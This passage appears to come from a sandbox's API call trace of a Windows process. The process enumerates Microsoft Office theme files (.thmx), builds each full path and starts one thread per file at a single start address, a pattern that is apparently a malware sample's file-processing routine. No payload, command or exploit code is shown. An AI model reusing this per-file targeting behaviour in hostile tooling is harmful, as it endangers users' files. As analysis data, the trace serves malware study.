(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0141.404] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0141.404] wcscmp (_String1="Composite.thmx", _String2=".") returned 1 [0141.404] wcscmp (_String1="Composite.thmx", _String2="..") returned 1 [0141.404] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6e18 [0141.404] wcscpy (in: _Dest=0x8e6e18, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.404] wcscat (in: _Dest=0x8e6e18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.404] wcscat (in: _Dest=0x8e6e18, _Source="Composite.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" [0141.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0141.407] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0141.407] wcscmp (_String1="Concourse.thmx", _String2=".") returned 1 [0141.407] wcscmp (_String1="Concourse.thmx", _String2="..") returned 1 [0141.407] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6ea8 [0141.407] wcscpy (in: _Dest=0x8e6ea8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.407] wcscat (in: _Dest=0x8e6ea8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.407] wcscat (in: _Dest=0x8e6ea8, _Source="Concourse.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" [0141.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0141.409] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0141.409] wcscmp (_String1="Couture.thmx", _String2=".") returned 1 [0141.409] wcscmp (_String1="Couture.thmx", _String2="..") returned 1 [0141.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e6f38 [0141.410] wcscpy (in: _Dest=0x8e6f38, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.410] wcscat (in: _Dest=0x8e6f38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.410] wcscat (in: _Dest=0x8e6f38, _Source="Couture.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" [0141.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0141.411] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1 [0141.411] wcscmp (_String1="Elemental.thmx", _String2=".") returned 1 [0141.411] wcscmp (_String1="Elemental.thmx", _String2="..") returned 1 [0141.411] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6fc8 [0141.411] wcscpy (in: _Dest=0x8e6fc8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.411] wcscat (in: _Dest=0x8e6fc8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.411] wcscat (in: _Dest=0x8e6fc8, _Source="Elemental.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" [0141.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6fc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0141.414] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1 [0141.414] wcscmp (_String1="Equity.thmx", _String2=".") returned 1 [0141.414] wcscmp (_String1="Equity.thmx", _String2="..") returned 1 [0141.414] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7058 [0141.414] wcscpy (in: _Dest=0x8e7058, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.414] wcscat (in: _Dest=0x8e7058, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.414] wcscat (in: _Dest=0x8e7058, _Source="Equity.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" [0141.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0141.415] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1 [0141.415] wcscmp (_String1="Essential.thmx", _String2=".") returned 1 [0141.415] wcscmp (_String1="Essential.thmx", _String2="..") returned 1 [0141.415] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e70e8 [0141.415] wcscpy (in: _Dest=0x8e70e8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.415] wcscat (in: _Dest=0x8e70e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.415] wcscat (in: _Dest=0x8e70e8, _Source="Essential.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" [0141.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e70e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0141.417] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0141.417] wcscmp (_String1="Executive.thmx", _String2=".") returned 1 [0141.417] wcscmp (_String1="Executive.thmx", _String2="..") returned 1 [0141.417] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7178 [0141.417] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.417] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.417] wcscat (in: _Dest=0x8e7178, _Source="Executive.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" [0141.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0141.418] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0141.418] wcscmp (_String1="Flow.thmx", _String2=".") returned 1 [0141.418] wcscmp (_String1="Flow.thmx", _String2="..") returned 1 [0141.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7928 [0141.418] wcscpy (in: _Dest=0x8f7928, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.418] wcscat (in: _Dest=0x8f7928, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.418] wcscat (in: _Dest=0x8f7928, _Source="Flow.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" [0141.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0141.420] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0141.420] wcscmp (_String1="Foundry.thmx", _String2=".") returned 1 [0141.420] wcscmp (_String1="Foundry.thmx", _String2="..") returned 1 [0141.420] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7208 [0141.420] wcscpy (in: _Dest=0x8e7208, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.420] wcscat (in: _Dest=0x8e7208, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.420] wcscat (in: _Dest=0x8e7208, _Source="Foundry.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" [0141.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0141.421] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0141.421] wcscmp (_String1="Grid.thmx", _String2=".") returned 1 [0141.421] wcscmp (_String1="Grid.thmx", _String2="..") returned 1 [0141.421] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f79b0 [0141.421] wcscpy (in: _Dest=0x8f79b0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.421] wcscat (in: _Dest=0x8f79b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.421] wcscat (in: _Dest=0x8f79b0, _Source="Grid.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" [0141.422] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f79b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0141.423] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0141.423] wcscmp (_String1="Hardcover.thmx", _String2=".") returned 1 [0141.423] wcscmp (_String1="Hardcover.thmx", _String2="..") returned 1 [0141.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e7298 [0141.423] wcscpy (in: _Dest=0x8e7298, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.423] wcscat (in: _Dest=0x8e7298, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.423] wcscat (in: _Dest=0x8e7298, _Source="Hardcover.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" [0141.423] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0141.424] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0141.424] wcscmp (_String1="Horizon.thmx", _String2=".") returned 1 [0141.424] wcscmp (_String1="Horizon.thmx", _String2="..") returned 1 [0141.424] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7328 [0141.425] wcscpy (in: _Dest=0x8e7328, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.425] wcscat (in: _Dest=0x8e7328, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.425] wcscat (in: _Dest=0x8e7328, _Source="Horizon.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" [0141.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7328, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0141.426] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0141.426] wcscmp (_String1="Median.thmx", _String2=".") returned 1 [0141.426] wcscmp (_String1="Median.thmx", _String2="..") returned 1 [0141.426] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e73b8 [0141.426] wcscpy (in: _Dest=0x8e73b8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.426] wcscat (in: _Dest=0x8e73b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.426] wcscat (in: _Dest=0x8e73b8, _Source="Median.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" [0141.426] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e73b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0141.427] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0141.427] wcscmp (_String1="Metro.thmx", _String2=".") returned 1 [0141.427] wcscmp (_String1="Metro.thmx", _String2="..") returned 1 [0141.427] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7a38 [0141.428] wcscpy (in: _Dest=0x8f7a38, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.428] wcscat (in: _Dest=0x8f7a38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.428] wcscat (in: _Dest=0x8f7a38, _Source="Metro.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" [0141.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0141.842] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0141.842] wcscmp (_String1="Module.thmx", _String2=".") returned 1 [0141.842] wcscmp (_String1="Module.thmx", _String2="..") returned 1 [0141.842] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e75f8 [0141.842] wcscpy (in: _Dest=0x8e75f8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0141.842] wcscat (in: _Dest=0x8e75f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0141.842] wcscat (in: _Dest=0x8e75f8, _Source="Module.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" [0142.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e75f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4 [0142.656] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0142.656] wcscmp (_String1="Newsprint.thmx", _String2=".") returned 1 [0142.656] wcscmp (_String1="Newsprint.thmx", _String2="..") returned 1 [0142.656] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e77a8 [0142.656] wcscpy (in: _Dest=0x8e77a8, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0142.656] wcscat (in: _Dest=0x8e77a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0142.656] wcscat (in: _Dest=0x8e77a8, _Source="Newsprint.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" [0142.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e77a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x954 [0142.657] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x906908 | out: lpFindFileData=0x906908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1 [0142.657] wcscmp (_String1="Opulent.thmx", _String2=".") returned 1 